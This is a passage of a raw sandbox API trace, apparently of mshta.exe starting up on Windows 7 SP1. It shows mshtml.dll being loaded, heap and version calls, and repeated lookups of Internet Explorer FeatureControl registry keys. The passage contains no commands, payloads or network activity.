returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () returned 0x0 [0042.620] SetLastError (dwErrCode=0x0) [0042.620] GetLastError () returned 0x0 [0042.620] SetLastError (dwErrCode=0x0) [0042.620] GetLastError () returned 0x0 [0042.620] SetLastError (dwErrCode=0x0) [0042.620] GetLastError () returned 0x0 [0042.620] SetLastError (dwErrCode=0x0) [0042.620] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.621] SetLastError (dwErrCode=0x0) [0042.621] GetLastError () returned 0x0 [0042.622] SetLastError (dwErrCode=0x0) [0042.622] GetLastError () returned 0x0 [0042.622] SetLastError (dwErrCode=0x0) [0042.622] GetLastError () returned 0x0 [0042.622] SetLastError (dwErrCode=0x0) [0042.622] GetLastError () returned 0x0 [0042.622] SetLastError (dwErrCode=0x0) [0042.622] GetVersion () returned 0x1db10106 [0042.622] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76e10000 [0042.622] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSetInformation") returned 0x76e25651 [0042.622] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0042.622] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x105) returned 0x191d80 [0042.622] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x105) returned 0x191e90 [0042.622] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="clsid\\{25336920-03f9-11cf-8fd0-00aa00686f13}\\InProcServer32", ulOptions=0x0, samDesired=0x1, phkResult=0x30f92c | out: phkResult=0x30f92c*=0x42) returned 0x0 [0042.623] RegQueryValueExA (in: hKey=0x42, lpValueName=0x0, lpReserved=0x0, lpType=0x30f924, lpData=0x191d80, lpcbData=0x30f920*=0x105 | out: lpType=0x30f924*=0x1, lpData="C:\\Windows\\SysWOW64\\mshtml.dll", lpcbData=0x30f920*=0x1f) returned 0x0 [0042.623] LoadLibraryA (lpLibFileName="C:\\Windows\\SysWOW64\\mshtml.dll") returned 0x73350000 [0047.451] GetProcessHeap () returned 0x7f0000 [0047.451] GetVersion () returned 0x1db10106 [0047.451] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76e10000 [0047.451] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSetInformation") returned 0x76e25651 [0047.452] HeapSetInformation (HeapHandle=0x7f0000, HeapInformationClass=0x0, HeapInformation=0x30f5b8, HeapInformationLength=0x4) returned 1 [0047.571] malloc (_Size=0x80) returned 0x1c2640 [0047.571] GetVersion () returned 0x1db10106 [0047.744] GetVersionExA (in: lpVersionInformation=0x30f490*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x30f490*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0047.744] __dllonexit () returned 0x7357717c [0047.744] __dllonexit () returned 0x735773bd [0047.744] GetProcessHeap () returned 0x7f0000 [0047.744] __dllonexit () returned 0x73577435 [0047.744] __dllonexit () returned 0x73576e75 [0047.744] __dllonexit () returned 0x73576ff5 [0047.744] __dllonexit () returned 0x735771be [0047.744] __dllonexit () returned 0x735772e2 [0047.745] __dllonexit () returned 0x73577320 [0047.745] __dllonexit () returned 0x73577370 [0047.745] __dllonexit () returned 0x73576e53 [0047.745] __dllonexit () returned 0x73576e66 [0047.745] __dllonexit () returned 0x73576a3e [0047.745] __dllonexit () returned 0x73576a46 [0047.745] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc14a [0047.745] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc14a [0047.745] __dllonexit () returned 0x73576a60 [0047.745] __dllonexit () returned 0x73576a7a [0047.746] __dllonexit () returned 0x73576a93 [0047.746] __dllonexit () returned 0x73576aa7 [0047.746] __dllonexit () returned 0x73576ac1 [0047.746] __dllonexit () returned 0x735771f1 [0047.746] __dllonexit () returned 0x73576ad0 [0047.746] __dllonexit () returned 0x73576adf [0047.746] __dllonexit () returned 0x73576aee [0047.746] __dllonexit () returned 0x73576afd [0047.746] __dllonexit () returned 0x73576b0d [0047.746] __dllonexit () returned 0x7357720c [0047.746] __dllonexit () returned 0x73576b1c [0047.746] __dllonexit () returned 0x73576b2f [0047.746] __dllonexit () returned 0x73576b49 [0047.747] __dllonexit () returned 0x73576b58 [0047.747] __dllonexit () returned 0x73576b67 [0047.747] __dllonexit () returned 0x73576b76 [0047.747] __dllonexit () returned 0x73576b85 [0047.747] __dllonexit () returned 0x73576b94 [0047.747] __dllonexit () returned 0x73576ba3 [0047.747] __dllonexit () returned 0x73576bb2 [0047.747] __dllonexit () returned 0x73576bc1 [0047.747] __dllonexit () returned 0x73576bd0 [0047.747] __dllonexit () returned 0x73576bdf [0047.747] __dllonexit () returned 0x73576bee [0047.747] __dllonexit () returned 0x73576bfd [0047.748] __dllonexit () returned 0x73576c0c [0047.748] __dllonexit () returned 0x73576c1b [0047.748] __dllonexit () returned 0x73576c2a [0047.748] __dllonexit () returned 0x73576c3d [0047.748] __dllonexit () returned 0x73576c4c [0047.748] __dllonexit () returned 0x73576c5b [0047.748] __dllonexit () returned 0x73576c75 [0047.748] __dllonexit () returned 0x73576c8f [0047.748] __dllonexit () returned 0x73576ca9 [0047.748] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0047.748] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0047.748] __dllonexit () returned 0x73576cb1 [0047.749] __dllonexit () returned 0x73577294 [0047.749] __dllonexit () returned 0x73576ccb [0047.749] __dllonexit () returned 0x73576cd3 [0047.749] __dllonexit () returned 0x73576ce2 [0047.749] __dllonexit () returned 0x73576cf1 [0047.749] __dllonexit () returned 0x73576d00 [0047.749] __dllonexit () returned 0x7356f72d [0047.749] __dllonexit () returned 0x73576d43 [0047.749] __dllonexit () returned 0x73576d56 [0047.749] __dllonexit () returned 0x7356f095 [0047.749] __dllonexit () returned 0x73576d65 [0047.750] __dllonexit () returned 0x73576d78 [0047.750] __dllonexit () returned 0x73576d87 [0047.750] __dllonexit () returned 0x73576d9a [0047.750] __dllonexit () returned 0x73572256 [0047.750] __dllonexit () returned 0x7357679d [0047.750] __dllonexit () returned 0x73576dd5 [0047.750] __dllonexit () returned 0x73576df8 [0047.750] __dllonexit () returned 0x73576e07 [0047.750] __dllonexit () returned 0x735776cb [0047.750] __dllonexit () returned 0x73576e1a [0047.751] __dllonexit () returned 0x735772aa [0047.751] __dllonexit () returned 0x735772cb [0047.751] __dllonexit () returned 0x73576e3a [0047.751] GetCurrentThreadId () returned 0xcd8 [0047.751] CoCreateGuid (in: pguid=0x7388ad20 | out: pguid=0x7388ad20*(Data1=0x615004f4, Data2=0x3655, Data3=0x4475, Data4=([0]=0xbd, [1]=0x5d, [2]=0xdd, [3]=0x99, [4]=0x10, [5]=0xf0, [6]=0xbd, [7]=0xce))) returned 0x0 [0047.753] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x200) returned 0x80e778 [0047.753] __dllonexit () returned 0x7357733d [0047.753] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30ef30, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0047.753] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0047.753] StrCmpICW (pszStr1="mshta.exe", pszStr2="iexplore.exe") returned 4 [0047.753] StrCmpICW (pszStr1="mshta.exe", pszStr2="explorer.exe") returned 8 [0047.753] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x80e980 [0047.753] SHRegGetValueW () returned 0x2 [0047.753] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f17c | out: phkResult=0x30f17c*=0x0) returned 0x2 [0047.753] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f178 | out: phkResult=0x30f178*=0x0) returned 0x2 [0047.754] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x94) returned 0x0 [0047.754] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x98) returned 0x0 [0048.007] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.192] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.193] RegCloseKey (hKey=0x0) returned 0x6 [0048.193] RegCloseKey (hKey=0x0) returned 0x6 [0048.193] RegCloseKey (hKey=0x94) returned 0x0 [0048.193] RegCloseKey (hKey=0x98) returned 0x0 [0048.193] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x98) returned 0x0 [0048.193] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x94) returned 0x0 [0048.193] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.193] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.193] RegCloseKey (hKey=0x0) returned 0x6 [0048.193] RegCloseKey (hKey=0x0) returned 0x6 [0048.193] RegCloseKey (hKey=0x98) returned 0x0 [0048.193] RegCloseKey (hKey=0x94) returned 0x0 [0048.193] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x94) returned 0x0 [0048.194] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x98) returned 0x0 [0048.194] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.194] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.194] RegCloseKey (hKey=0x0) returned 0x6 [0048.194] RegCloseKey (hKey=0x0) returned 0x6 [0048.194] RegCloseKey (hKey=0x94) returned 0x0 [0048.194] RegCloseKey (hKey=0x98) returned 0x0 [0048.194] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x98) returned 0x0 [0048.194] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x94) returned 0x0 [0048.194] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.194] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x9c) returned 0x0 [0048.194] SHRegGetValueW () returned 0x2 [0048.194] SHRegGetValueW () returned 0x2 [0048.194] RegCloseKey (hKey=0x9c) returned 0x0 [0048.194] RegCloseKey (hKey=0x0) returned 0x6 [0048.194] RegCloseKey (hKey=0x0) returned 0x6 [0048.194] RegCloseKey (hKey=0x98) returned 0x0 [0048.195] RegCloseKey (hKey=0x94) returned 0x0 [0048.195] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x94) returned 0x0 [0048.195] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x98) returned 0x0 [0048.195] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.195] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.195] RegCloseKey (hKey=0x0) returned 0x6 [0048.195] RegCloseKey (hKey=0x0) returned 0x6 [0048.195] RegCloseKey (hKey=0x94) returned 0x0 [0048.195] RegCloseKey (hKey=0x98) returned 0x0 [0048.195] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x98) returned 0x0 [0048.195] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x94) returned 0x0 [0048.195] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.195] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.196] RegCloseKey (hKey=0x0) returned 0x6 [0048.196] RegCloseKey (hKey=0x0) returned 0x6 [0048.196] RegCloseKey (hKey=0x98) returned 0x0 [0048.196] RegCloseKey (hKey=0x94) returned 0x0 [0048.196] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x94) returned 0x0 [0048.196] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x98) returned 0x0 [0048.196] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.196] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.196] RegCloseKey (hKey=0x0) returned 0x6 [0048.196] RegCloseKey (hKey=0x0) returned 0x6 [0048.196] RegCloseKey (hKey=0x94) returned 0x0 [0048.196] RegCloseKey (hKey=0x98) returned 0x0 [0048.196] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x98) returned 0x0 [0048.196] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x94) returned 0x0 [0048.197] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.197] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.197] RegCloseKey (hKey=0x0) returned 0x6 [0048.197] RegCloseKey (hKey=0x0) returned 0x6 [0048.197] RegCloseKey (hKey=0x98) returned 0x0 [0048.197] RegCloseKey (hKey=0x94) returned 0x0 [0048.197] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x94) returned 0x0 [0048.197] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x98) returned 0x0 [0048.197] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.197] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.197] RegCloseKey (hKey=0x0) returned 0x6 [0048.197] RegCloseKey (hKey=0x0) returned 0x6 [0048.197] RegCloseKey (hKey=0x94) returned 0x0 [0048.197] RegCloseKey (hKey=0x98) returned 0x0 [0048.197] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x98) returned 0x0 [0048.198] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x94) returned 0x0 [0048.198] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.198] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.198] RegCloseKey (hKey=0x0) returned 0x6 [0048.198] RegCloseKey (hKey=0x0) returned 0x6 [0048.198] RegCloseKey (hKey=0x98) returned 0x0 [0048.198] RegCloseKey (hKey=0x94) returned 0x0 [0048.198] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x94) returned 0x0 [0048.198] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x98) returned 0x0 [0048.198] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.198] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.198] RegCloseKey (hKey=0x0) returned 0x6 [0048.198] RegCloseKey (hKey=0x0) returned 0x6 [0048.198] RegCloseKey (hKey=0x94) returned 0x0 [0048.198] RegCloseKey (hKey=0x98) returned 0x0 [0048.199] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x98) returned 0x0 [0048.199] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x94) returned 0x0 [0048.199] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.199] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.199] RegCloseKey (hKey=0x0) returned 0x6 [0048.199] RegCloseKey (hKey=0x0) returned 0x6 [0048.199] RegCloseKey (hKey=0x98) returned 0x0 [0048.199] RegCloseKey (hKey=0x94) returned 0x0 [0048.199] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0048.200] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x98) returned 0x0 [0048.200] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x9c) returned 0x0 [0048.200] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.201] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.201] RegCloseKey (hKey=0x0) returned 0x6 [0048.201] RegCloseKey (hKey=0x0) returned 0x6 [0048.201] RegCloseKey (hKey=0x98) returned 0x0 [0048.201] RegCloseKey (hKey=0x9c) returned 0x0 [0048.201] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x9c) returned 0x0 [0048.201] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x98) returned 0x0 [0048.201] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.201] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.201] RegCloseKey (hKey=0x0) returned 0x6 [0048.201] RegCloseKey (hKey=0x0) returned 0x6 [0048.201] RegCloseKey (hKey=0x9c) returned 0x0 [0048.201] RegCloseKey (hKey=0x98) returned 0x0 [0048.201] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f170 | out: phkResult=0x30f170*=0x98) returned 0x0 [0048.201] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f174 | out: phkResult=0x30f174*=0x9c) returned 0x0 [0048.202] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.202] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x30f130 | out: phkResult=0x30f130*=0x0) returned 0x2 [0048.202] RegCloseKey (hKey=0x0) returned 0x6 [0048.202] RegCloseKey (hKey=0x0) returned 0x6 [0048.202] RegCloseKey (hKey=0x98) returned 0x0 [0048.202] RegCloseKey (hKey=0x9c) returned 0x0 [0048.202] GetSystemMetrics (nIndex=68) returned 4 [0048.202] GetSystemMetrics (nIndex=69) returned 4 [0048.202] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14 [0048.203] GetSystemDefaultLCID () returned 0x409 [0048.203] GetVersionExW (in: lpVersionInformation=0x30f0d4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7734e36c, dwMinorVersion=0x7734e0d2, dwBuildNumber=0x7388afd8, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x30f0d4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0048.203] GetUserDefaultUILanguage () returned 0x409 [0048.203] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0x30f024, cchData=16 | out: lpLCData="\x03") returned 16 [0048.363] GetKeyboardLayoutList (in: nBuff=32, lpList=0x30f054 | out: lpList=0x30f054) returned 1 [0048.712] GetSystemMetrics (nIndex=4096) returned 0 [0048.712] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f178 | out: phkResult=0x30f178*=0x9c) returned 0x0 [0048.712] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f17c | out: phkResult=0x30f17c*=0x98) returned 0x0 [0048.712] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f138 | out: phkResult=0x30f138*=0x0) returned 0x2 [0048.712] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f138 | out: phkResult=0x30f138*=0x0) returned 0x2 [0048.712] RegCloseKey 